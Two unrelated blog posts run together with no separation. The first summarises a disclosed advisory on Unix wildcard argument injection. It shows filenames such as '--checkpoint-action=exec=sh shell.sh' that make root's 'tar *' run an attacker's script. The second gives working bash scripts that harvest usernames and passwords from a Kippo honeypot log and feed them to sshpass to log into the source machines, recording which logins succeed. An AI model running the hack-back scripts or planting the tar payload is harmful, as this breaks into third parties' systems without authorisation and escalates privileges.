From: http://beta.slashdot.org/story/203895


DefenseCode released an advisory in which researcher Leon Juranic details security issues related to using wildcards in Unix commands. The topic has been talked about in the past on the Full Disclosure mailing list, where some people saw this more as a feature than as a bug.

There are clearly a number of potential security issues surrounding this, so Mr. Juranic provided five actual exploitation examples that stress out the risks accompanying practice of using the * wildcard with Linux/Unix commands.

The issue can be manifested by using specific options in chown, tar, rsync etc. By using specially crafted filenames, an attacker can inject arbitrary arguments to shell commands run by other users – root as well.

One of the examples provided is the tar arbitrary command execution. The binary has two options that can be used for poisoning:

–checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)

–checkpoint-action=ACTION
execute ACTION on each checkpoint

By using tar with these options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that’s where the wildcard comes in handy.

Running tar cf archive.tar * on a folder with these files seems pretty straightforward and benign.

[[email protected] public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx——. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r–. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r–. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r–. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r–. 1 user user 201 Oct 28 17:43 download.php

The problem arises if the user created a couple of fake files and a shell script that contains any arbitrary command.

[[email protected] public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx——. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r–. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r–. 1 user user 34 Oct 28 17:47 ado.php
-rw-r–r–. 1 leon leon 0 Oct 28 19:19 –checkpoint=1
-rw-r–r–. 1 leon leon 0 Oct 28 19:17 –checkpoint-action=exec=sh shell.sh
-rw-rw-r–. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r–. 1 user user 201 Oct 28 17:43 download.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh

By using the * wildcard in the tar command, these files will be understood as passed options to the tar binary and shell.sh will be executed as root.

The advisory in question details other similar exploitation methods. Also, around the same time when Mr. Juranic informed us about his work, another researcher posted to the Full Disclosure mailing list a similarly themed research focused on exploiting wildcards.

Is there a workaround? To quote the most upvoted post on a recent Reddit thread regarding wildcard exploitation: “./* Done”.

 985 total views

First we log all the connection attempts to my server(Live or new Virtual Machine) using the package called Kippo – http://code.google.com/p/kippo/.


Then we create this file I called grab_ssh_info.sh(Click for latest).

#!/bin/bash

 # Run this every day at least in order to get all the entries.
 # Run this before the logrotate does its work on the kippo log(You are rotating it right?) for the day/week/month$
 # Cron could be 44 min mark every hour so when it rotates at midnight you will not lose much data.

# Start a new log.
if [ -e /root/scripts/kippo_ssh_auths.log ]; then
 rm /root/scripts/kippo_ssh_auths.log
fi

# Since I am only looking at the recent listings, only look at todays based on the date timestamp
todays_date=date +%F
# Only read todays and loop each line in the string
grep -i $todays_date /home/ris/kippo-0.5/log/kippo.log | while read -r line; do

 # Only read the lines that contain login auths and IPs. All in one line in this case.
 if [[ echo $line | grep -i "login attempt" ]]; then
  # Cut out the different parts.
  inIP=echo $line | grep -i "login attempt" | cut -d '[' -f 2 | cut -d ',' -f 3 | cut -d ']' -f 1
  inUSER=echo $line | grep -i "login attempt" | cut -d '[' -f 3 | cut -d '/' -f 1
  inPASS=echo $line | grep -i "login attempt" | cut -d '[' -f 3 | cut -d '/' -f 2 | cut -d ']' -f 1

  # Throw it all in together for outputing to a log of my own.
  output="$inIP|$inUSER|$inPASS"
  #echo $output

  # IF we do not already have it in the log, append the info to it.
  if [ ! -e /root/scripts/kippo_ssh_auths.log ]; then
   touch /root/scripts/kippo_ssh_auths.log
  fi

  grep -q "$output" /root/scripts/kippo_ssh_auths.log
  if [ $? == 1 ]; then
   echo "$inIP|$inUSER|$inPASS" >> /root/scripts/kippo_ssh_auths.log
  fi
 fi
done

Then we can use the copy of /root/kippo_ssh_auths.log log to try and connect BACK to the door knockers machine and see if the login works.
If it does, add it to a success log(if new) and go on to the next one.
If it fails, ignore it. It will be deleted when we delete the copy of the log file at the end of the script.
I call this file test_ssh_info.sh

#!/bin/bash

# This script will take mv the /root/scripts/kippo_ssh_auths.log log to /root/scripts/test_ssh_auths.log
# so we can safely work on it.

# After moving, it will go line by line and take the arguments and test them by ssh.
# If it works, the info will be written to another log, /root/scripts/valid_ssh_auths.log for any other usage.

# Suggest running at 45 min mark every hour. Right after the grab info script.

mv /root/scripts/kippo_ssh_auths.log /root/scripts/test_ssh_auths.log

# Old string seperator
oifs=$IFS
# The one we want
IFS="|"

while read line; do

 echo "Testing: $line"
 # Split the line into a array
 # Format IP|USERNAME|PASSWORD
 tmp_arr=($line)
 testip=${tmp_arr[0]}
 testuser=${tmp_arr[1]}
 testpass=${tmp_arr[2]}
# echo "$testip $testuser $testpass"

 # Use the tool sshpass to passthrough a password to ssh
 # How can I do this in parallel ?
sshpass -p "$testpass" ssh -q -o "StrictHostKeyChecking no" -l "$testuser" $testip "exit"
# sshpass -p "$testpass" ssh -o "StrictHostKeyChecking no" -l "$testuser" $testip "exit"

 testssh=$?
# echo "Return Code: $testssh"

 # sshpass will exit with code 0 if it logged in ok.
 # ?? I was testing it and had some errors using the script. It would exit with 5. If I did it manualy, it worked $
 if [ $testssh == 0 ]; then
  output="$testip|$testuser|$testpass"

  if [ ! -e /root/scripts/valid_ssh_auths.log ]; then
   touch /root/scripts/valid_ssh_auths.log
  fi

  grep -q "$output" /root/scripts/valid_ssh_auths.log
  if [ $? == 1 ]; then
   echo "$line" >> /root/scripts/valid_ssh_auths.log
   echo "Valid: $line"
  else
   echo "NOT Valid: $line"
  fi
 fi

done < /root/scripts/test_ssh_auths.log;

# Change back the String Seperator
IFS=$oifs

# Remove the log that we tested
rm /root/scripts/test_ssh_auths.log

Small script(start_kippo.sh) for cron to make sure your Kippo is still running.
I noticed that the small VPS I was running would kill Kippo once awhile because I ran out of memory(32MB) and swap(32MB). So I tested every minute to see if needed starting again.

#!/bin/bash

ps aux | grep -i twistd | grep -q -i kippo
code=$?

if [ $code == 1 ]; then
 cd  /home/ris/kippo-0.5/
 sudo -u ris  /home/ris/kippo-0.5/start.sh
 echo "Started Kippo again."
fi

Set your log rotation to cycle the Kippo log every 24 hours or my scripts will be re testing a lot of ssh connections.
Set your cron to run them whenever. I recommend just before the logrotate cycle. Just make sure it is sequenced right. Do the grab script first.

 1,361 total views,  2 views today